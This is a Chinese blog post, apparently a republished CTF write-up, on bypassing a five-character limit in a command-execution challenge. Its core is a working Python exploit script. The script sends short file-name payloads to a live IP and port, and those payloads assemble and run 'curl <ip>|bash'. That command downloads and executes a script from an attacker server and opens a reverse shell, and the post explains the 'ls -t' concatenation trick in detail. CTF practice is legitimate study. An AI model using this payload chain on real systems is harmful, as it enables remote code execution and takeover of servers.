当前位置:网站首页>CTF命令执行题目解题思路
CTF命令执行题目解题思路
2022-08-02 22:03:00 【wespten】
CTF存在命令执行漏洞题目,单次输入字符不得大于5。

利用linux下特有的命令来写入shell反弹。
原理就是利用curl ip|bash等很多方式去反弹shell。
import requests
from time import sleep
from urllib.parse import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
# '>03\\',
# '>90\\',
'>0\\',
'>20\\',
'>1.\\',
'>12\\' ,
'>7.\\',
'>10\\' ,
'>9.\\',
'>3\\',
'>\ \\',
'>rl\\',
'>cu\\',
#exec
'sh _',
'sh g',
]
r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
print (i)
sleep(0.2)在自己服务器中放入bash一句话,利用curl ip|bash反弹shell。
开启监听,执行后可反弹shell。

利用linux文件写入技巧:

ls -t >g是倒序输出文件名字,然后sh _执行此文件,写入到g中

可以看到该文件有curl xx.x.x.x|bash字符,在linux下输入任意一个字符后加\是不会中断当前操作,可以继续输入内容。而后面没有\则会中断,而sh可以在报错的情况下依然会执行可以执行的命令,因此不会影响curl的执行。
边栏推荐
- 【C语言】带头双向循环链表(list)详解(定义、增、删、查、改)
- If the watermark according to how to realize the function
- go 序列化与反序列化
- MySql查询某个时间段内的数据(前一周、前三个月、前一年等)
- Matplotlib drawing core principles explain (more detailed)
- 创建型模式 - 简单工厂模式StaticFactoryMethod
- 若依集成minio实现分布式文件存储
- CWE4.8:2022年危害最大的25种软件安全问题
- IP Protocol (Internet Protocol)
- 虚拟内存 virualmemory
猜你喜欢

What is the core business model of the "advertising e-commerce" that has recently become popular in the circle of friends, and is the advertising revenue really reliable?

如何通过 IDEA 数据库管理工具连接 TDengine?

Mysql查看慢查询日志

resubmit 渐进式防重复提交框架简介

在迁移测试中,源表、中间表、目标表的迁移规则

【STM32学习2】存储器相关概念与操作

win10安全中心设置不扫描某个文件夹的方法

目前为止 DAO靠什么盈利?

Kubernetes 进阶训练营 网络
![[论文总结] 深度学习在农业领域应用论文笔记10](/img/e8/0ba741980495cd81ca30bf269d1111.jpg)
[论文总结] 深度学习在农业领域应用论文笔记10
随机推荐
centos7安装mysql8
【C语言】带头双向循环链表(list)详解(定义、增、删、查、改)
如何通过 IDEA 数据库管理工具连接 TDengine?
Interviewer: can you talk about optimistic locking and pessimistic locks
TCP三次握手与四次挥手
搭建Spark开发环境(第二弹)
软件测试笔试题1(附答案)
ssm整合(三)Controller 和 视图层编写
SRv6网络演进面临的挑战
虚拟内存 virualmemory
Tanabata is here - the romance of programmers
如何通过开源数据库管理工具 DBeaver 连接 TDengine
Yocto系列讲解[实战篇]85 - 制作ubi镜像和自动挂载ubifs文件系统
Shunted Self-Attention via Multi-Scale Token Aggregation
JS 包装类 Math对象 round max() min() random
【Unity】Unity开发进阶(六)UnityEvent使用与源码解析
成功解决TypeError: can‘t multiply sequence by non-int of type ‘float‘
[TypeScript] Deep Learning of TypeScript Classes (Part 1)
JS函数防抖&函数节流及其使用场景
Command line startup FAQs and solutions